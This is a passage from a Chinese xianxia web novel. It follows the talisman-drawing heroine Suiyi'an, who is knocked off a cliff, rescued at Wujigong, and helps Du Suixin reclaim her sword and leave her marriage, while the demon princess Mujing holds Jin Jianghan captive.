岁忆谙胡乱抓上了靳江浛的宽腰带。
靳江浛感受到腰间一紧,拉力传来,他惊慌失措道:“你干什么?!”
“我要站起来,前面发生什么事情了?”岁忆谙边大声说边站起来。
站稳后,岁忆谙才发现他的腰带颜色和自己的衣袖颜色一样。
都是橘色。
岁忆谙有一瞬愣神。
耳边,狂风的呼啸声变成了如雷贯耳的心跳声。
岁忆谙抬眼看着面前宽厚的背影,一股莫名的情绪萦绕心头。
“白英空掉下去了。”
前方的弟子御剑向下,靳江浛也跟着下去。
即将落地前,靳江浛都没有听见岁忆谙的回答,但腰间的拉力依旧存在。
众人落在林间,岁岁距地面还有一尺时,便稳稳地停了下来。
靳江浛率先跳下剑,转身看去,岁忆谙正盯着他发呆。
“发什么呆?还不快下来。”说罢,靳江浛朝岁忆谙伸出手。
“哦。”岁忆谙回过神,下意识将手放在靳江浛的掌心之中。
两手交握,温度交融。
靳江浛面无表情,心中早就乐翻天了。
但他还是不着痕迹地握紧了岁忆谙的手,只是一下,便迅速松开。
落地后,岁岁立起,飘在两人身后。
前头,徐长老正在训斥背白英空的弟子。
“一个人你都能背掉,干什么吃的,宗门把你养这么大,竟然连一个人都背不住!”
徐长老很生气,唾沫星子飞溅在弟子脸上,还好他落得比较快,在白英空即将摔得稀烂前接着了。
“长老,是刚刚有一道力量将白师兄击落的。”那弟子低声反驳。
徐长老又想骂人时,猛然察觉不对劲。
空气翻涌,气氛诡谲,众人神色紧张,下一秒,林间走出数道黑色身影。
对宗门弟子来说,他们身上的气息极其古怪。
对一众长老来说,他们身上的气息就格外熟悉。
徐长老惊呼:“是魔!”
此话一出,众人像炸开了锅般沸腾起来。
“魔族不是早就被仙门灭了吗?现如今怎会出现这么多魔族?!”
年轻弟子都没有见过魔,个个慌张得不行。
“冷静点!平日里学的东西都忘了?”徐长老恨铁不成钢道。
弟子们听后,持剑戒备,将昏迷的白英空护在身后。
岁忆谙看见这一幕,瞬间想到了之前在魔域夺花的黑袍人,一样穿着斗篷,一样五官模糊。
她看向靳江浛,正巧靳江浛也看向了她。
靳江浛看懂了岁忆谙眼里的疑惑,他摇摇头,表示不关他的事,他自己也不知晓这些傀儡是谁放的。
但靳江浛可以确定,除他以外,世上还有魔族。
说不定就是安宁村石洞中,那滴魔血的主人。
就在两人对视的时候,黑袍人动了,双方混战。
岁忆谙甩出大把大把的土山符,靳江浛在一旁补刀,可这次的招式却没有用。
傀儡被土块包裹,再被长剑击碎,碎片散落一地,再次重建。
靳江浛一直护在岁忆谙身边,打着打着,靳江浛就觉得那些傀儡有意分开他与岁忆谙。
刚开始,弟子们还能按照平日里学的招式应对,可黑袍人数量太多,根本杀不死。
渐渐的,弟子们乱了阵脚,四散而逃。
岁忆谙随人流奔跑,她发现有个傀儡锲而不舍地追着在自己身后。
黑袍人不打别人,就打她,好几次都打到岁忆谙了,还是她手上的黑王蛇帮她挡下的攻击。
土山符只能拖出黑袍人一小会儿,为了不伤及他人,岁忆谙独自拐进小道,确定黑袍人追上来后,她摸出一张穿梭符。
岁忆谙脚步不停,指尖夹着穿梭符,注入灵力后念咒,念完后,她却发现自己还在原地。
试了几次都毫无效果,岁忆谙还怀疑自己画错了,仔仔细细看了一遍,并无差错。
不知不觉,岁忆谙跑到了悬崖边,再跑就没路了,她转身,正准备硬碰硬时,黑袍人停了下来。<
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p>在岁忆谙诧异的目光下,黑袍人摘下了斗篷,一张熟悉的脸映入眼帘。
“流萤?”岁忆谙错愕。
“又见面了。”流萤勾唇一笑,语气愉悦。
耳边传来急促的水流声,狂风的呼啸声,疾风袭过,悬崖边的岁忆谙发丝飞舞,衣袂翩翩,身形晃晃悠悠。
岁忆谙只觉得冷,还有星星点点的水打到自己身上,瀑布飞驰而下,身后是百丈高的悬崖。
她努力稳住自己的身形,尽量不让自己被刮走,她看着面前流萤,问题还未问出口,远处传来阵阵脚步声。
“谙!”
跑在最前面的是靳江浛,他身后还跟着一群傀儡,岁忆谙只觉头大。
来就来,怎么还带了一群人来?
成岁忆谙不备,流萤一掌打向她。
岁忆谙避之不及,手腕上的黑王蛇不再护她,三次都在今日用掉了。
她被击飞出去,在空中翻滚几圈后,落在悬崖边缘,昏迷不醒。
“谙!”
靳江浛见此,闪身来到岁忆谙面前,反手一剑挥开流萤。
想拉起岁忆谙时,身体忽然动弹不得。
流萤缓缓走来,冷声道:“靳江浛,我们又见面了。”
靳江浛挣扎道:“放开我!到底是谁派你来的!”
“等你跟我回去就知晓了。”流萤有些不耐烦。
“我可以跟你回去,但是你要放了岁忆谙。”
此话一出,流萤的怒火被激起,她愤愤开口。
“你们凌仙宗差点害死少主,我还没找你们算账,你倒是想让我放了她,做梦!”
话落,流萤上前一步,抬脚将岁忆谙踢落悬崖。
“谙!”
岁忆谙消失在眼前,靳江浛心脏狂跳,手中的黑石长剑飞出。
岁岁朝坠落的岁忆谙迅速飞去,它迅速飞到岁忆谙身下,拖起她,减缓坠落的速度。
一人一剑坠入水中,巨大的冲击力将一人一剑分开,而岁忆谙消失在了河流里。
悬崖上,靳江浛目眦尽裂,他运转全身的魔力,冲破束缚,径直跳下悬崖。
流萤大惊,朝身后的傀儡吼道:“愣着干什么,还不快下去找!”
接下来的傀儡跟下饺子似的,一个一个都往悬崖下跳,流萤也跟着往下跳。
搜寻一番后,流萤只在岸边见到了握着黑石长剑的靳江浛,看来并未寻到岁忆谙。
流萤不再废话,弄昏靳江浛后,就带着他离开。
河流湍急,岁忆谙一直顺着河流飘荡,飘了一天一夜。
次日辰时,一个穿着朴素的女子漫步在河边,她眉眼间是消不去的忧愁。
忽地眼前一亮,女子看见了从远处飘过来的岁忆谙。
“夫人,那里好像有个人。”身旁的侍女也注意到了岁忆谙。
强烈的直觉驱使女子走向岁忆谙,侍女拿来一根竹竿勾着岁忆谙的衣领子,将她勾了过来。
女子蹲下身,轻轻唤道:“姑娘?”
岁忆谙没有动静,女子探了探她的鼻息,说:“还活着。”
“带上她,回无极宫吧。”
“是。”侍女将岁忆谙拖上岸,拎起一只脚准备走时,却被女子拦住。
“人没死都要被你拖死了。”
“夫人恕罪。”侍女慌乱地下跪,看起来很害怕。
50. 太难评了
女子无奈摇头,走上前,一掌扶着岁忆谙的后脑,一手绕过岁忆谙的膝弯,将她抱了起来。
女子看着身躯瘦小,但力气却很大,她稳稳地抱着岁忆谙离去。
无极宫———
清风殿某间厢房中,躺在床榻上的岁忆谙浑身冒汗,她将盖在身上的被子掀开,还未感受到凉意,被子再次盖在她身上。
紧接着阵阵凉风袭来,岁忆谙紧皱的眉头舒展开来,沉沉睡去。
岁忆谙睡了一天,晚上才醒,她睁开双眼,望着陌生的房顶,还未回过神来,就听见身旁有人道:“你醒了?”
岁忆谙侧头看去,是一个长相英气的女子,她手中正拿着蒲团。
“我……我在哪儿?”
女子柔声说:“这里是无极宫,我遇见你时,你正昏迷在河边。”
岁忆谙回想着之前发生的事情,她被流萤袭击,之后应该是掉下悬崖了。
她命真大,掉下悬崖都没死。
岁忆谙道:“多谢姑娘救命之恩,我叫岁忆谙。”
“我叫杜随心,你想怎么叫我都可以。”
名字很陌生,岁忆谙迅速在记忆中翻找,她并没有写过杜随心,还有无极宫。
岁忆谙想起什么,她掀开被子,发现自己穿着里衣,布袋子也不见了。
“对了,这个布袋子是你的吧。”
岁忆谙抬头看去,杜随心手中拿的正是她的布袋子。
“是我的,谢谢你。”
岁忆谙接过布袋子,打开翻找了起来。
符纸古籍都湿了,零零零给的布袋子竟然不防水。
该死!
一旁的杜随心看岁忆谙从两个巴掌不到的布袋子里,拿出了一本跟板砖一样厚的书时,她有一瞬错愕。
刚刚布袋子的重量很轻了,里面应该是空的,怎么岁忆谙从里面拿出了个那么大的东西来?莫非是储物袋?
许久没有修炼,杜随心都快忘了这些法宝。
杜随心端起床头柜上的药,道:“天色渐晚,有什么事情明日在说,先把药喝了。”
岁忆谙接过,“多谢杜姑娘。”
喝完药后,杜随心就离开了厢房。
岁忆谙瘫倒在床上,长长地叹了口气,在这个不算陌生,不算熟悉的世界,她现在又是孤身一人了。
接下来该怎么办?去找白英空吗?好像只能去找白英空了。
想着想着,外面突然传来一声尖锐的猫叫声。
猫叫声十分刺耳,岁忆谙猛地坐起身来,侧耳仔细听着。
声音好像就在窗户外面,岁忆谙掩盖不住好奇心,她下床走到窗前,刚打开窗,一个东西就跳了进来。
岁忆谙闪到一旁,端起桌上的烛台照明。
再度走到窗前,那个东西是只猫,全身漆黑的猫,它正蹲坐在沿上,姿态优雅。
“嘬嘬嘬——”
岁忆谙下意识嘬出声,没办法,这是人类看到猫下意识的反应。
黑猫懒懒地掀起眼皮看了岁忆谙一眼,然后扭过身子蹲坐着。
岁忆谙竟然从黑猫的眼睛里看到了鄙夷,这只黑猫八成成精了。
岁忆谙端着烛台走进。
听见脚步声的黑猫耳朵动了动,扭过头,用铜黄色的眼睛看了她一眼,然后从窗沿跳下,跳到了草地里。
岁忆谙走到窗边,往下看去,黑猫窜进花丛中不见了踪影。
她关了窗,重新上床入睡。
公鸡打鸣,天色大亮。
岁忆谙被鸟叫声唤醒,昨夜睡得还算舒服,她起身寻找自己的衣服时,门被敲响了。
“姑娘,奴婢来给你送衣裳了。”
岁忆谙打开门,发现是昨日站在杜随心身边的侍女。
她侧身让道,侍女端着两盘子衣裳走进厢房。
“谢谢啊,我之前穿的衣服呢?”岁忆谙有些局促地问。
“在院子里晾晒,不过姑娘的衣服在水中泡了太久,还被石子磨烂了,所以,夫人才让奴婢来送衣服。”侍女解释道。
说到晾晒,岁忆谙急忙搬了把木椅到外头,将湿漉漉的古籍放在椅子上,一页页翻开。
黄符纸也被河水浸湿,沾染上脏东西,不能用了,朱砂也是。
岁忆谙得想法子弄到这些东西。
无极宫后山———
侍女带着岁忆谙来到后山。
一路上,岁忆谙向侍女打听了无极宫的事情。
五年前,无极宫里出了个修为极高的弟子,叫郑永清。
当年,郑永清下山历练时,救了一个女子,那女子便是杜随心。
谁料,一年后,杜随心入了宗门。
杜随心天资卓越,很快就成了宗门翘楚,宗门比试时,她打败了郑永清,成了无极宫众多弟子当中的第一。
在此之前,杜随心就一直对郑永清示好,人尽皆知。
比试过后,郑永清说,他不喜欢比他强的女子,杜随心为了能嫁给他,便决定一辈子不再拿剑,不再修炼。
杜随心是当着众弟子的面说的,说完后,他们都在起哄。
郑永清碍于压力,便娶了杜随心。
两人成婚后,杜随心便一直住在清风殿,在殿中做些女红。
两人虽是夫妻,但关系如同水火,一年到头,郑永清在清风殿都住不到几日。
听完一切后,岁忆谙只觉难评。
太难评了!
后山种着大片大片的薰衣草,而杜随心就置身在烂漫的紫色花丛中。
杜随心察觉到有人前来,便拎着篮子起身,转身一看,丛外是岁忆谙。
杜随心一手拎着竹篮,一手提着裙摆走出花丛。
侍女接过竹篮,退到一旁。
杜随心问:“岁姑娘,你醒了,昨夜睡得可还好?”
“挺好的。”
两人沿着花丛边缘走着,岁忆谙随口道:“就是我昨夜见到了一只黑猫,不过不亲人。”
“黑猫?”杜随心诧异,“殿中从未有过黑猫。”
清风殿僻静,杜随心就算想养黑猫,郑永清也不让。
岁忆谙察觉到杜随心的情绪有些不对,便转移话题。
“不聊这些了,那日若不是你救我,我八成还在水中泡着,真不知该怎么感谢你才好。”
杜随心回神:“路过相助,不必过多言谢。”
“其实今日前来我是向想你辞行的。”
“你不再多留一会儿吗?”杜随心问得迫切,甚至抓上了岁忆谙的手,就像抓上了救命稻草。
岁忆谙对杜随心的举动感到疑惑,杜随心好像很害怕?
一想到任务,岁忆谙还是抽回手。
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“我还有要紧的事要去做,对了杜姑娘,你可知凌仙宗离无极宫有多远?”
“你是凌仙宗的弟子?”
“不,我是去凌仙宗投奔亲戚的。”岁忆谙张口就来。
“凌仙宗离这里很远,单靠两条腿的话,起码要接连不断地走上三四个月,一直御剑的话也要半月左右。”
“这么远。”她竟然飘了这么远。
岁忆谙有些烦恼,画穿梭符的工具都湿了,她还得去寻一些回来,不过还好她记得穿梭符怎么画。
“岁姑娘可否多留几日?”
岁忆谙停下脚步,疑惑地看向杜随心。
“三日后便是我的二十五岁生辰,这清风殿里没有一个能与我交心的人。”杜随心垂下眼眸,神情落寞。
“你能陪我过生辰吗?”
岁忆谙想了想,过个生辰而已,应该不碍事,她点头应下:“好啊,那我陪你过完生辰后再走吧。”
杜随心终于露出了笑容:“那我叫你忆谙吧,总是姑娘姑娘地唤,未免太过生疏。”
“好啊,随心。”礼尚往来,岁忆谙也改了称呼。
杜随心心中的闷气疏散开来。
两人继续走着,杜随心走在里侧,她垂手,让指尖拂过薰衣草。
薰衣草微微晃动,只是几下便恢复平静。
“这薰衣草都是我亲自种的,如今长得这般美丽,倒也不枉费我的苦心。”
岁忆谙忍不住问:“随心,恕我冒昧,我打听了一些你的事情,你为何要为郑永清放弃修炼?”
杜随心顿了一下,她收回手,纠结道:“我…………我也不知,好似总有人在我的耳边说,我要为郑永清放弃一切。”
岁忆谙一听,心想完了。
“…………那你爱他吗?”
杜随心面色纠结:“我…………爱过。”
“那年,我在山中采草药,遇见了一只猛兽,是他救了我。”
“飒爽的身姿,卓越的剑术,这激起了我对修仙的兴趣,无极宫当时离我最近,谁能料到,救我的男子是无极宫郑永清。”
岁忆谙恍然大悟:“原来你不是因为他才上山的。”
“当然不是,说来也奇怪,自从见到他后,我的心就狂跳,我想靠近他,想亲近他,这些好像都不受自己控制。”
“一时脑热,我竟然说出了那样的话。”说着,杜随心拿出帕子掩面,看样子想要哭泣。
岁忆谙又问:“既如此,你为何不重新拿起剑?”
“如今的我哪有资格碰剑。”杜随心自嘲道,她死死地攥紧了手中的丝帕。
岁忆谙看清了杜随心这细微的举动,她似乎很想拿剑,可为何没资格呢?难不成是郑永清不让她拿?
“倘若我说,我想看呢?”岁忆谙试探地问。
杜随心暗自勾唇,她终于等到了自己想听的话。
“什么?”杜随心收起笑容,装作诧异抬眸,对上了一双澄澈的眼睛。
“我想学剑,你能否教我?”
岁忆谙想学剑的心半真半假,她并无符纸可用,零零零又不在,只能学些其他的本事傍身,主要还是让杜随心拿到剑。
“好啊,你是清风殿的客人,我当然得满足你。”
杜随心侧身收起帕子,眼尖的岁忆谙注意到她的帕子十分干燥。
51. 随心
岁忆谙收回视线,若有所思地看着走在前头的杜随心。
杜随心看上去不像是会被人桎梏的,她这么做到底有什么目的呢?
自己说想学,她就同意拿剑了,就这么轻松地撇下了那句誓言?
杜随心带着岁忆谙来到她的住的房中。
脚刚踏进门,眼前的一幕令岁忆谙目瞪口呆,她愣愣地走进屋子。
墙壁上挂着满墙的武器,许多把长剑,五颜六色的鞭子,就连大斧子都有。
“忆谙,你能帮我选一把长剑吗?”杜随心说这话时小心翼翼,看向岁忆谙的目光里带着期许。
还处于震惊中的岁忆谙并未察觉到,她走上前,一眼就选中了那把银柄的长剑。
主要是其他的剑上都落了灰尘,唯独这把没有。
岁忆谙就指着那把银柄的剑道:“就这把吧,你应该经常擦拭它吧。”
杜随心没有回答她,而是问了一句令人摸不着头脑的问题。
“你能帮我把它拿过来吗?”
岁忆谙懵了,她这才感受到杜随心的不对劲,她的呼吸有些沉重,双眼冒光,看起来万分期待。
思索了几秒,岁忆谙还是将那把银柄的剑取下,递给杜随心。
管她有没有诈,抵个剑而已。
虽说是这样,但岁忆谙还是紧盯着杜随心的一举一动。
杜随心用颤抖的手去接剑,当她把剑握在手中时,岁忆谙能明显看出她松了口气。
接着,杜随心给岁忆谙拿了一把木剑,说是为了防止误伤她自己。
两人来到清风殿院中。
“你先看我示范一遍。”
岁忆谙退到一旁,杜随心走到院中站定。
站定后,杜随心浑身的气质都不一样了。
没了温婉,多了潇洒。
杜随心右手持着枯枝,挽了几个漂亮的剑花,接着脚步转动,向前挥剑。
杜随心虽然穿着厚重的衣裙,宽大的衣袖,但她身姿灵活,动作丝毫没有被这些影响到。
阵阵灵气围绕在杜随心周身,剑法顺畅,如同春日里蕴含生机的风。
岁忆谙看呆了,虽然她看不懂。
待杜随心停下后,她鼓起了掌。
杜随心听见掌声后,脸有些热,兴许是许久没握剑,有些激动。
接下来的一整日里,杜随心都在教岁忆谙练剑。
她发现岁忆谙下盘不稳,便让她扎马步,自己也陪着她扎。
深夜,岁忆谙身心俱疲地泡在浴桶里,温热的水席卷她的全身。
泡完澡,岁忆谙倒在床榻上,她的双腿还在打颤,早知如此,就不应该说自己要学剑。
“喵~~~”一道婉转的猫叫声传来,岁忆谙的视线下意识往窗户瞧。
窗户大开着,那只黑猫正站在窗沿上,迈着步子跳在一旁的书桌上。
岁忆谙坐起身,朝黑猫招手,她没抱多大希望,没想到黑猫真的朝她奔来。
黑猫跳上床榻,用毛绒绒的脑袋蹭着岁忆谙的手。
岁忆谙欢喜极了,使劲摸着黑猫,她还没摸够,黑猫就跑了。
岁忆谙叹气,她也不知晓自己在叹气什么,是在叹气一眼看不到路的未来,还是在叹气归家无望。
有时她真的挺迷茫的,零零零说是维护剧情去了,可自己并不知晓零零零真实的目的。
而且零零零还有勾结靳江浛的嫌疑,身边竟然无一人可以相信。
说到这儿,她突然有点想靳江浛了,其实他一直陪在自己身边,只是自己没有注意而已。
一想到他,岁忆谙的心扑通扑通跳得很快,这种感觉真是奇怪。
算了,她本身就不是这个世界的人,她不应该对这里的人或事还抱有“眷恋”。
一夜无眠。
次日,岁忆谙跟着杜随心练剑,一日过去,她还是练得一蹋糊涂。
岁忆谙清楚自己不是天赋异禀的人,她才练了两日而已。
月蛇妖洲——
石洞里,四壁刻满了符纹,地面上是淡蓝色的法阵。
靳江浛安静地躺在法阵中心,良久,指尖动了动,他睁开双眼,映入眼帘的是熟悉符纹。
靳江浛站起身,还没来得及环顾四周,一道黑色身影毫无预兆地出现在他面前。
他下意识反应,朝面前的黑袍人出掌。
面前的人接下了这一掌。
通过这一掌,靳江浛感受到了几分熟悉感。
两人分来,对立而站。
黑袍人摘下头上的斗篷,露出了一张姣好的面容。
靳江浛见后,忍不住惊呼出声:“净惜…………你到底是谁?!”
早在凌仙宗时,靳江浛就远远地见过净惜一眼,只不过并未感受到她身上的魔气。
“岁忆谙呢?!”
净惜淡淡开口:“岁忆谙没死,或许你应该知晓本君的另一个名字———穆净。”
靳江浛听岁忆谙没事,才稍稍松了口气,他仔细回想着穆净二字。
几秒后,他终于从记忆深处翻找到了这个名字。
“公主?”
靳江浛有些诧异,他没想到穆净会活下来,看来安宁村石洞里的拿滴血是穆净的了。
“难为你还记得,百年了,本君以为你都忘了。”穆净笑了笑,语气似有些嘲讽。
百年前,穆净在仙魔混战前一夜做了个梦,她梦见了今后发生的一切。
醒来后,仙魔的确发生了战争,而她乘乱出逃,抵达月蛇妖洲时,却得知鬼石被盗。
穆净化名净惜,一直在寻找鬼石,企图通过鬼石上的魔力复仇,以及重振魔族。
她潜入凌仙宗,等待着那个所谓的“救世主”出现。
修炼几十年,穆净成为了凌仙宗的长老,宗主夫人临盆那日,白英空出生。
穆净想抢先将白英空扼杀在摇篮里,一股无形的力量却在阻止她,每当她准备下死手时,那股力量都会出现。
穆净只能将目标转向梦中唯一一个活下来的魔族。
谁能料到,靳江浛自己上了凌仙宗。
看着靳江浛一“打架”就浑身四溢的魔气,穆净有些无语。
难怪他最后会被白英空和黎绕月杀死,为了防止他暴露身份,穆净施法为凌仙宗所有的长老和弟子下了禁制。
“偷盗鬼石,摧毁阵法,靳江浛,你可知罪?”
听见穆净兴师问罪的语气,靳江浛只觉得她很好笑。
他道:“现在魔族已灭,你算什么公主?”
“一颗鬼石而已,偷便偷了,至于那个阵法…………”
“我就毁了,你能耐我何?”靳江浛语气格外猖狂。
穆净现在都快两百岁了,她才不与一
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个只会说大话的小孩儿计较。
“既如此,那本君便拿你的血来做引子吧。”
穆净轻轻抬手,一道凌厉的魔气朝靳江浛挥去。
靳江浛闪身躲避,他化出黑石长剑朝净惜挥去,预想中鬼石的魔力没有出现,反而是正常的魔气。
靳江浛眸中闪过一瞬错愕。
穆净微微侧身,轻松躲过,她不慌不忙地站在原地,神情轻蔑,手中不知何时抱起了一只白猿。
“别白费力气了,这四周都刻上了抑制鬼石的符纹,你是使不出鬼石魔气的。”
穆净施法,靳江浛手中的黑石长剑瞬间飞到她的手里。
“百年过去,鬼石终于物归原主了。”穆净感叹道。
黑石长剑不像穆净想象中的安分,她并不知这把长剑开了灵智。
岁岁十分抵触穆净,它浑身冒着淡淡的蓝光,剑柄却格外滚烫。
穆净被烫松了手,岁岁并未落地,也没有飞回靳江浛身边,而是朝穆净冲去。
穆净再次施法想要控制岁岁,靳江浛却突然对她出手。
施法被打断,穆净分出心思来对付靳江浛。
几个回合下来,靳江浛被打得浑身是伤,血吐了好几口,而岁岁早就跑没影了。
靳江浛落到阵法中心,淡蓝色的光芒变得极其刺眼,伤口血流不止,鲜血流在法阵上,被法阵吸食殆尽。
靳江浛的脸色一下子就变得煞白,浑身无力。
“看来你的剑不要你了。”
穆净落下一句话就转身离开,只留下倒在地上苟延残喘的靳江浛。
趁着诸位长老离开凌仙宗,穆净成了凌仙宗宗主,她来到月蛇妖洲找黎政表明身份,之后又派给了流萤任务。
杀了那群长老,以及将靳江浛带回来。
穆净一离开石洞,黎政就迎了上来。
“魔主,靳江浛的佩剑突然冲出,我并没有拦下。”
“看好他,他暂时还死不了,顺便派人去寻那把黑石长剑。”
靳江浛暂时还不能死,因为穆净得想法子将他体内的魔力抽出来。
况且,穆净潜意识觉得自己不应该杀死靳江浛。
第三日,今日便是杜随心的生辰,岁忆谙决定画几张符送给她作生辰礼。
岁忆谙让侍女帮她买些朱砂黄符回来,拿到手后,她待在屋子里马不停蹄地画着。
午时过后,岁忆谙拿着画好地符去找杜随心。
没找着人,她只能先将符收好,在院子里独自练剑。
相比前两日,岁忆谙算是彻底记住了剑法的一招一式,她正欲再练一次时,身后传来声音。
“你是何人?”
岁忆谙吓了一跳,她转身看去,是一个玉树临风的男子,男子面容清秀,右手持剑,左手捧着花。
岁忆谙反问:“你又是何人?”
男子将手中的花放到空地上,然后从阶梯上走下来,走到岁忆谙面前,道:“这清风殿是我的居所,你居然问我是谁?”
岁忆谙听他这么一说,倒是知晓他是谁了,这清风殿除了杜随心这一个主人,另一个不就是郑永清吗?
但岁忆谙还是装作疑惑。
“噢…………你是谁?”
郑永清有些无语,他不再追问岁忆谙的身份,而是换了问题。
“你怎会这套剑术?”
52. 求你
岁忆谙如实回答:“别人教我的。”
“是不是杜随心教你的?看来她又拿起剑了,既如此我也能休了她。”郑永清自顾自说着。
“你废话真多,你谁啊?问别人姓名前能不能自报家门?”岁忆谙不耐烦道。
“你竟然不识得我,也不知是从哪儿冒出来的野丫头,我劝你识相点,赶紧滚离清风殿。”
郑永清语气轻蔑,眼中满是不屑。
岁忆谙忍不住骂道:“生煎包吧你。”
岁忆谙说得很文雅了,只不过郑永清听不懂。
“生煎包?”郑永清只当是吃的生煎包,他真以为岁忆谙不识得自己。
郑永清一本正经地解释道:“我可是无极宫郑永清,你竟敢说我是生煎包?”
“少废话,看剑!”话落,岁忆谙拿着木剑朝郑永清刺去。
郑永清转身后退,顺势将剑换到左手,拔剑出鞘,一剑挥开岁忆谙的木剑。
铁剑锋利,削去了木剑剑身。
岁忆谙震惊地看着手里断了的木剑,再看看郑永清,他正朝自己刺来。
岁忆谙将木剑丢出去,拔腿就跑,边跑边喊:“救命啊!郑永清杀人啦!”
喊叫声响彻山头,岁忆谙头也不回地跑着,哪里有路就往哪里跑,想拿符的手硬生生忍住。
她就画了六张,其中五张还是要给杜随心的。
岁忆谙跑进长廊,她似有所感应般抬头,一身红衣的杜随心正站在尽头。
“随心,救我!”岁忆谙直奔杜随心而去。
杜随心怀中抱着那把银柄剑,她见状,右手拔剑,左手用剑鞘将岁忆谙护到身后。
乒呤乓啷的兵器碰撞声响起,杜随心与郑永清在只能供三人并排走的长廊里打斗。
岁忆谙躲在后头看。
杜随心一剑挥向郑永清,郑永清后仰避过。
剑尖划在墙壁上,划出了一条长长的痕迹,落了些许灰下来。
郑永清暗自感叹着,比起三年前,杜随心的剑术似乎又进步了。
两人打得难舍难分,长廊的空间不够他们施展。
郑永清被打得连连后退,他一手撑上栏杆,翻身跳到小院里。
杜随心并未追上去。
而郑永清站定后,冷哼一声:“杜随心,你果然拿起剑了。”
杜随心收起剑,沿着长廊走,边走边说:“对啊,要不是忆谙,我还不知自己得在这里呆多久。”
此话一出,郑永清一头雾水,但岁忆谙心中却警铃大作。
郑永清还在愤愤道:“杜随心,你怎么能带一个外人进清风殿!”
“这清风殿是我的,我怎不能带?”说到此处,杜随心已经走出了长廊,站在郑永清对面。
郑永清张口还想说些什么时,却被杜随心打断:“和离书,签了吧。”
杜随心从袖子里拿出了一卷纸,她将纸举起,展示给郑永清看,上面写着和离书三个大字。
“不签就出去打一架,或者我换休书给你也可以……”
杜随心顿了顿,又道:“我休你。”
“我不和离,你也不能休我!”
郑永清觉得自己被羞辱了,急得跳脚,他也不知自己为何不愿合离,兴许是因为不想被其他弟子笑话吧。
当初,郑永清逼不得已娶了杜随心,成婚三四年了,怎能说合离就合离。
“那就出去打一架吧。”
杜随心也不磨叽,她收起和离书,提着剑往外走去。
郑永清失魂落魄地跟在后头。
岁忆谙感觉郑永清并不是很想合离,她突然想起郑永清手里捧着的花,便连忙朝院子里跑去。
郑永清看着跑过的岁忆谙,忽然想到了什么,跟着跑去。
杜随心也跟了上去。
院子空地中,二十几枝薰衣草被绳索扎在一起,安安静静地放在原地。
看着岁忆谙直奔花束,郑永清几个跳跃,抢先一步拿到花,拿到花后,还一脸挑衅地看着岁忆谙。
岁忆谙歪着脑袋,看着他手中的薰衣草说:“这花是给随心的吧。”
只是刹那,郑永清眼底的挑衅变成了惊慌,他结巴道:“你……你胡说八道什么?”
赶过来的杜随心听见了两人的对话,她神情复杂地看向郑永清。
岁忆谙又道:“不给随心,难道是给我的?”
“你怎么那么大脸,我当然是给随……心的。”
说到最后,郑永清的声音低了下来,小心翼翼地抬眸看向杜随心,眼中包含的情绪着实怪异。
杜随心走上前,再度拿出和离书,冷声冷面道:“合离书,快签了。”
“我不签。”郑永清说完,还抱着花坐在地上,一副要撒泼打滚的模样。
杜随心先是吃惊,在她的印象里,郑永清一直都是知礼守节的刃,不会做出失了礼数的举动。
“郑永清,我以前怎么没发现你这么幼稚!”杜随心无语。
“我就不签!”
“你信不信我揍你。”杜随心没了耐心,作势扬剑,而回应她的是一捧薰衣草。
淡淡的花香扑鼻而来,郑永清举着薰衣草站起身,认真地说:“送你的。”
杜随心愣住,扬起的手停在半空,落也不是,不落也不是。
岁忆谙见此,悄悄转身离开,将空间留给二人。
希望他们能说开吧。
看来郑永清对杜随心并不是毫无感觉,这怎么和她听到的不一样?
岁忆谙回到居住的院落,院子里晒着的古籍彻底干了,她将古籍收进布袋子里。
回到正院时,两人正站在一块,郑永清流着泪水,哭得可怜,而杜随心的表情倒像是负心汉一样冷漠。
岁忆谙的脚顿住,她不知现在能不能过去,犹豫时,杜随心朝她招了招手。
“忆谙!”
岁忆谙走过去。
郑永清见到来人,急忙躲到杜随心身后擦泪。
“随心,这是我送你的生辰礼,一张穿梭符,两张隐身符,还有两张定身符。”
岁忆谙拿出五张符纸,挨个儿介绍。
杜随心收下后道谢,接着她从袖中拿出了一支普普通通的玉簪子,没有雕刻形状,她意味深长道。
“在必要的时候,这支簪子可以助你一臂之力。”
杜随心将簪子交到岁忆谙手中,岁忆谙觉得她话里有话,便问:“随心,你认识我?”
“认识也不认识。”
杜随心拉着岁忆谙走到一边,小声道:“自从我嫁给郑永清后,我就提不起剑了,似是有一种无形的力量在阻止我。”
郑永清竖着耳朵偷听,却什么也没听见。
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“当我见到你的第一眼时,我就能感觉到那股力量的消失,可我依旧提不起剑,然后我便猜测你能帮我。”
“说到底,我还得谢谢你。”
*
“祝你人如其名,永远随心。”
这是岁忆谙对杜随心的祝愿,下山离开无极宫后,她的脑中依旧想着杜随心的那一番话。
那道无形的力量八成是剧情的作用,倘若杜随心并未遇见自己,那她会被困在清风殿一辈子吧。
岁忆谙仔细想来,自从她遇见了每一个角色后,他们的思想和举动都产生了变化。
难道他们都摆脱了剧情的控制?这才是他们最想做的?
不会到最后,书中世界的所有角色都意识觉醒了吧。
想到这儿,岁忆谙浑身一激灵,连忙抛开这个想法。
岁忆谙从布袋子里掏出穿梭符,注入灵力,默念着凌仙宗。
身形一晃,岁忆谙消失在原地。
周围熙熙攘攘,岁忆谙眨了下眼,发现自己站在满是人的大街上。
“这里不是凌仙宗吧?”
“难道传错了?符应该画对了吧。”岁忆谙疑惑地看向四周,她对自己的记忆并不是很清楚。
岁忆谙找人问了路,他们并没有听过什么凌仙宗,也没听说过无极宫,更不知晓怎么走。
但她打听到了,这里是桃花村,因为桃花常年盛开,她逛了整座村子,那桃花开得的确艳丽。
天色渐晚,岁忆谙打算在桃花村里借宿睡一宿,等到天亮在出发,她还得研究研究穿梭符。
岁忆谙借宿在了一个年迈的奶奶家里,奶奶无儿无女,老伴也去世了。
岁忆谙打算用一个晚上将穿梭符画出来,她坐在桌前,窗户大开着,月光照进。
忽然,岁忆谙的眼睛被一道刺眼的光芒晃了一下。
她站起身朝窗外看去,除了满地的菜,其余的什么都没有,坐下继续画符。
在岁忆谙看不见的地方,一把黑石长剑迅速飞离桃花村。
岁岁趁着夜色飞回月蛇妖洲的石洞。
靳江浛仰面躺在地上,伤口一点儿愈合的迹象都没有,鲜血缓慢流出。
身旁的空气传来波动,靳江浛的眼皮动了动,睁开双眼,便看见横浮着的岁岁。
“找到她了吗?”
岁岁的剑身大幅度地点了点。
“她受伤了吗?”
岁岁又大幅度地左右晃了晃。
靳江浛松了口气:“那就好。”
岁忆谙没事就好———
靳江浛将手伸进胸前的衣服里,摸索出了一张整洁的符纸。
是那日,他从岁忆谙手上抢走的穿梭符。
